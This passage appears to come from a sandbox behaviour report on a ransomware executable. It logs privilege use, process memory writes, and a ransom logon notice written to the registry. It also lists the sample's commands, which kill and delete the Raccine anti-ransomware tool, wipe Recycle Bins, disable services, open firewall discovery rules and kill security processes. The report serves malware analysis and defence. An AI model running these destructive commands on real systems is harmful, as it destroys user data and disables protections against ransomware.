N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\netsh.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\icacls.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3368 wrote to memory of 1252 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 1252 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 3372 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\reg.exe
PID 3368 wrote to memory of 3372 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\reg.exe
PID 3368 wrote to memory of 3488 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\reg.exe
PID 3368 wrote to memory of 3488 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\reg.exe
PID 3368 wrote to memory of 1264 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\schtasks.exe
PID 3368 wrote to memory of 1264 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\schtasks.exe
PID 3368 wrote to memory of 2200 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\cmd.exe
PID 3368 wrote to memory of 2200 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\cmd.exe
PID 3368 wrote to memory of 3944 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\sc.exe
PID 3368 wrote to memory of 3944 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\sc.exe
PID 3368 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\sc.exe
PID 3368 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\sc.exe
PID 3368 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\sc.exe
PID 3368 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\sc.exe
PID 3368 wrote to memory of 2648 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\cmd.exe
PID 3368 wrote to memory of 2648 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\cmd.exe
PID 3368 wrote to memory of 1596 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\sc.exe
PID 3368 wrote to memory of 1596 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\sc.exe
PID 3368 wrote to memory of 4000 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\sc.exe
PID 3368 wrote to memory of 4000 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\sc.exe
PID 3368 wrote to memory of 3364 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\sc.exe
PID 3368 wrote to memory of 3364 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\sc.exe
PID 3368 wrote to memory of 2168 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\sc.exe
PID 3368 wrote to memory of 2168 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\sc.exe
PID 3368 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\sc.exe
PID 3368 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\sc.exe
PID 3368 wrote to memory of 3200 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\netsh.exe
PID 3368 wrote to memory of 3200 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\netsh.exe
PID 3368 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 2656 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 2656 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 2608 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 2608 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 3376 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 3376 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 3568 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 3568 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 1868 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 1868 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 3756 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 3756 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 212 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\netsh.exe
PID 3368 wrote to memory of 212 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\netsh.exe
PID 3368 wrote to memory of 3396 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 3396 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 1952 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 1952 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 4064 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 4064 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 4016 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 4016 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 3440 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 3440 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 1240 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 1240 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 1928 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 1928 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 3788 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 3788 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\taskkill.exe
PID 3368 wrote to memory of 3872 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\netsh.exe
PID 3368 wrote to memory of 3872 N/A C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe C:\Windows\SYSTEM32\netsh.exe

System policy modification

evasion
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe

"C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe"

C:\Windows\SYSTEM32\taskkill.exe

"taskkill" /F /IM RaccineSettings.exe

C:\Windows\SYSTEM32\reg.exe

"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F

C:\Windows\SYSTEM32\reg.exe

"reg" delete HKCU\Software\Raccine /F

C:\Windows\SYSTEM32\schtasks.exe

"schtasks" /DELETE /TN "Raccine Rules Updater" /F

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config FDResPub start= auto

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SQLTELEMETRY start= disabled

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config Dnscache start= auto

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /c rd /s /q D:\\$Recycle.bin

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SstpSvc start= disabled

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SSDPSRV start= auto

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config upnphost start= auto

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SQLWriter start= disabled

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM synctime.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM Ntrtscan.exe /F

